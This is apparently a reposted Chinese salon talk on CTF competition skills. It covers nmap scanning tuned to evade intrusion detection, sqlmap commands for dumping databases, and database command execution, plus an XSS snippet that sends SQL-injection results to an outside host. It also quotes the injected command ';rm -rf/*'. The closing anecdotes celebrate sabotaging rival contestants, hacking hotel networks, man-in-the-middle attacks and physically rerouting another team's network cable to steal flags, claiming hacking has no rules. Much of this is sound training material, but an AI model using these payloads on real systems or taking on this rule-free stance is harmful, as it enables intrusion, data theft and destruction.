天天看点

乌云沙龙:赛棍的自我修养

本文转载自 Redrain

原文链接:http://www.hackdog.me

乌云沙龙:赛棍的自我修养

About Me

id:redrain

熟悉各种主流,非主流渗透测试技术

资深赛棍,CTF,wargame爱好者,获国内各大CTF冠亚季军balabala

light4freedom成员

blog:    http://www.hackdog.me

部分writeup: http://www.hackdog.me/writeup/

CTF概览

为了评估,发现安全人才而开设的一种比赛模式

通常分为线上解题模式和线下攻防模式

如著名的CTF赛制,wargame赛制

比赛内容包括了web,binary,网络,移动安全,无线安全,大数据等等

平时在哪儿玩儿

ctftime  

http://ctftime.org

乌云沙龙:赛棍的自我修养

wechall

http://wechall.net

乌云沙龙:赛棍的自我修养

渗透测试关键技术

获取信息(gather info)

攻击行为(sqli,xss...)

权限提升(privilege elevation)

获取信息

信息收集

服务器信息%中间件信息(iis,apache,nginx,django等webserver)

http响应报文

域名whois

敏感文件和路径

phpinfo(web探针)

数据库信息(类型,版本等,通常由sqli获取)

管理员信息

子域名&&同服&&C段服务器信息探测

......

扫描器

通常情况vul scanner不允许使用

扫描器可以很方便的探测信息,找到漏洞,但是容易触发ids,防火墙

乌云沙龙:赛棍的自我修养

w3af

乌云沙龙:赛棍的自我修养

nmap

乌云沙龙:赛棍的自我修养

了解nmap常用命令

nmap -h

乌云沙龙:赛棍的自我修养

基本语法:

nmap [扫描方式] [命令选项] {目标}

nmap -p 80,8080 ip

(只扫描开放80和8080端口的主机)

乌云沙龙:赛棍的自我修养

扫描方式配合使用

禁用ping扫描,使用静默扫描绕过ids检测

nmap -Pn -sS -A -v -T4 IP

乌云沙龙:赛棍的自我修养

域名相关信息探测

whois

子域名探测(爆破,域传送漏洞)

whois

乌云沙龙:赛棍的自我修养

子域名探测(通过爆破和接口查询)

乌云沙龙:赛棍的自我修养

子域名探测(域传送漏洞)

乌云沙龙:赛棍的自我修养

攻击行为

sql注入(sql injection)

因为用户输入参数可控且带入程序语句,入库查询,导致sql注入

%显错注入(直接注入闭合符号报错)

%盲注(判断语句进行注入)

%边信道注入(延时注入)

不得不说的自动化工具

sqlmap

havij

sqlmap -u url(GET)

sqlmap -u url --data(POST)

乌云沙龙:赛棍的自我修养

sqlmap -u url --dbs

sqlmap -u url -D(指定数据库) --tables

sqlmap -u url -D(制定数据库) -T(指定表名) --columns

sqlmap -u url -D(制定数据库) -T(指定表名) -C(制定字段) --dump

乌云沙龙:赛棍的自我修养

不同的数据库的注入差异

Access

Mssql(SQLserver)

Mysql

Oracle

MongoDB

......

Access只能通过字典爆表

Mssql如果是以sa权限的用户可以通过xp_cmdshell执行系统命令

Mysql5可在information库读取到表信息,如果是root用户也可执行命令

Oracle提升权限到DBA后可导出JAVA执行系统命令

......

XSS

跨站点脚本攻击

在页面注入了黑客的恶意js,可盗取cookie,传播蠕虫,挂马,实现rootkit后门等

CTF中,xss往往配合其他攻击手法使用

1 2 3 4

xss: href='http://host.xxoo.php'$.ajax({url:"/xxx.php?id=1 and 1=sqli payload",

type:'GET',success: function(data){

$.post('http://host/xxoo.php',{'a':data});

}});

一些其他漏洞利用

PHP文件包含(远程,本地)

命令执行

代码执行

中间件,框架漏洞  

php文件包含

乌云沙龙:赛棍的自我修养

爆破(口令字典)

通过字典,暴力破解帐号密码

没有验证码

没有限制用户提交次数

乌云沙龙:赛棍的自我修养

系统权限提升

通过现有的系统漏洞利用(exp)提权

通过第三方应用提权(mysql,mssql,filezilla...)

通过管理信息泄漏,碰撞密码,直接拿到最高权限

乌云沙龙:赛棍的自我修养

通过现有的系统漏洞利用(exp)提权

乌云沙龙:赛棍的自我修养

CTF和实际场景的区别

丫的肯定是有漏洞的

CTF肯定是有漏洞的,可能只是我们脑洞没跟上

CTF考察一个点,实际工作面对的是安全整体

针对已知信息猜测考察点,不需要和平时工作一样太多考虑整个安全整体

脑洞大开

出题人水平层次不齐,所以脑洞一定要坐北朝南

赛棍的奥义

一切输入都是有害的

找到交互点,结合白/黑盒方式测试输入输出

一切信息都是有用的

对目标进行详细的信息探测,将会大大方便接下来的工作

例如:比赛形式最喜欢将敏感信息藏在http返回包里

多尝试不同的攻击手段

有时比赛环境的出题人脑洞比较大,和实际攻击场景有出入

例如:同样是一个sqli,出题环境做了硬编码,只有唯一答案

所以payload在你本地work,在环境不work

攻击犀利,但是要保护自己

在很多的比赛中,尤其是线下赛,经常有选手的电脑接入网络环境后被黑

直接暴露弱点是不聪明的,你可以扩大自己的攻击成果但是要保护自己

讲故事环节~

我是如何当搅屎棍增加比赛难度的

我的奉行的hacking精神:share,free,weisuo!(英文不会写)

一定要抱着对抗的心态

13年的浙大比赛,一个web题目通过RCE来getshell

通常做法都是getshell然后getflag

猥琐之人就会通过命令执行反弹一个持续性交互式会话

然后不断kill其他选手的进程并且删除新增的shell

此间,除了我之外的所有选手都不能正常做题

但是仍然有同样猥琐的人明白我们的权限相同

于是开始了死循环的执行命令互相kill进程的交锋

最终官方看不下去,阉割了kill和rm命令

充分的信息获取

接入网络环境后先把整个网段做一次全面的探测,会有惊喜

  • 乌云沙龙:赛棍的自我修养
    去各种决赛时,除了在酒店和黑客捡肥皂,一定要小心酒店点网络我们的习惯:入住后先把酒店网络撸了,或者直接做中间人攻击
    乌云沙龙:赛棍的自我修养
    物理渗透,你怕不怕!

      去年的百度BCTF中

      好基友EM的自动化flag提交脚本拼接参数没过滤

      被sigma的基友命令注入

      ;rm -rf/*

      我们于是悄悄帮其"复仇"当天结束比赛时,ztz利用身高优势从桌子下爬到sigma的场地

      将其一根网线从线盒拉到我这里,于是。。。

      第二天我偷了他们一早上的flag

      为搅屎棍喝彩

      总之,我所认为,hacking就是没有规则的

      虽自己说是搅屎棍,其实却是随时带着对抗在hacking

      有很多学院派的小朋友们很不能接受比赛被我们戏弄

      却不知在真实场景中,遇到的对抗更犀利

      为崇尚自由,猥琐hacking的各位拍手

      啪啪啪